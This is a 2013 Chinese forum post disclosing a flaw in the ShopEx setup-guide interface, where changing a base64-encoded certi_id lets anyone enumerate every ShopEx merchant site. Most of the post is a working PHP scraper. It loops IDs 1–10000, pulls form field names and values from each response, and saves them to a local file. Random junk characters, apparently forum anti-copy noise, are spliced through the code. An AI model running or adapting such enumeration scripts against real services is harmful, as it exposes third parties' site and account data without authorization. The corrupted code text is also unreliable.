找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2893|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
7 t$ ]3 M. z* _* pShopEx某接口缺陷,可遍历所有网站; W4 ?: Y# z0 i$ A9 K
详细说明:
3 g% B% V; _: u3 H6 [2 Z7 p. T问题出现在shopex 网店使用向导页面 * Z$ h2 K; x2 N! {

5 y, @9 t7 {+ b# c; t' _3 K/ Z- E9 X6 o+ v4 @

4 Q6 ]* X% I$ C5 m5 P9 o8 ghttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
2 w, l) u2 |; H3 x- j2 j5 F, {3 t" J- U

' g/ D  m; N- Q6 i. Z/ V- R. U( I% p; q  F+ A/ l. V* m# m
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
* {& x/ a7 ]& n7 O) K( K: e) [9 y* b6 k2 e9 L

" r* t7 O6 i. |# n1 a8 d9 a' m& E  u, v1 {# M7 d
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 a! d# H3 B3 R( H. K! u
0 y: N2 h6 B5 n1 Q
& g* T1 _7 f( \8 r/ j
0 J% {2 T  b/ f( C3 i  f<?php4 R# g2 l2 ], n8 C3 d+ `% b2 d3 {

7 ~( d. o6 y0 \) N                for ($i=1; $i < 10000; $i++) { //遍历
' l* h4 \4 x* b5 t, V+ x" t# }7 f. \1 O' {8 f& e& ~% e  c3 ]. W3 @  g
                        ShowshopExD($i);6 N) W$ x$ n, t7 N: G3 k- [

* w* u9 j- `) \) A                }
- f  r7 f! |4 x/ m" S/ w- p
  e+ y# J6 c9 K; E  Q' W& v/ E                function ShowshopExD($cid) {
' W, F5 h' j2 c6 H' H/ t* J% {: {4 r
                $url='http://guide.ecos.shopex.cn/step2.php';
$ g6 Y7 Z: M: R/ j6 O2 a0 t+ T7 m' N" Y* H
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');6 u& R0 y7 C) G$ b% Q
/ ?" f$ `- f+ b  g
        $url = $url.'?refer='.$refer;
: j# Y) v3 I7 h+ v) l5 M& y# Z, _; M6 I" `1 B. s
        $ch = curl_init($url);  F- [3 Z3 R( a4 X0 J% j

! x8 T/ c) R2 F# P' r) N        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! Z+ _! h6 o! L$ O
; N' {+ s' J0 S* f$ a! n        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;3 x9 p3 z4 e/ c4 u( }9 Y

, l5 y$ D% k/ N. |4 _& T( a: {        $result = curl_exec($ch);3 W- r4 ^) ]2 s. S9 h6 x% z" L
: M- m9 u, b7 F6 k& h4 K4 S0 W  V
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
+ u; j& x! ^$ U$ ]3 B3 `, n- y% b
' q. g! X2 {$ ?; [, U        if(strpos($result,$refer))
/ A: n$ {, R6 d& o1 @! Z( B3 i+ A! [* P4 K+ b
        {* q2 f# Z6 F9 t7 Q

$ U. d7 @& F* e! O! U                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件$ V5 B) T% G  }. [& z

* ~. A1 ?8 n4 g# T                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);. c8 Y$ b, q. A* V
8 k2 z7 B4 v& u9 A/ T& C
                foreach ($value[1] as $key) {$ C' ^" K3 l9 R
% k) H: Q( G. i5 T( r7 Q
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
- ~$ \( G- d7 S- S6 W  @& h
' M9 O0 P# |5 f* g) d4 w# T                        echo $res[1][0].':'.$res[3][0]."\r\n";  c4 c9 P3 Q- ?& m
8 b1 B) m5 ^$ x. P
                        $col =$res[1][0].':'.$res[3][0]."\r\n"; 8 |9 W& R) u6 o+ J

3 e9 d* Q. E6 G' m- `: q                        fwrite($fp, $col, strlen($col)); " R$ v+ o! [1 q
; t9 D/ |6 z6 [- O1 K& S* a
                }. ?! Q. D7 k/ `& U

$ ~7 W( X+ r. I% x% J                echo '--------------------------------'."\r\n";1 h$ \  J/ @. ~" j* x! a
7 x8 b& G+ t7 Y9 B. W3 }
                fclose($fp); 1 k) A9 n8 i- J) [/ P( n& K
% B$ y- z7 M/ o0 i( R0 ^' k" E2 v; M- n
        }6 u4 \, a9 w6 Z' E% `. O9 I* r

& d, M3 U7 m9 {) f% W        flush();
0 `# O- ]. p" s+ ]( m7 j$ ^( w9 O1 O* c9 C* a5 E. A2 {
        curl_close($ch);
, h$ e0 p: E) h8 @! L& E6 O
  ^" k; M$ O& j! P& w; u* K. B7 G                }
4 `' @8 j: f* |, F+ P8 Y0 T3 i4 }+ a! T8 |) y
?>- `# v1 R8 D# }& a) [
漏洞证明:
( c( y# S, b7 I: chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg: F& `. v# \1 p$ j5 F
refer换成其他加密方式
/ l, c8 H/ r- K; M! J7 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表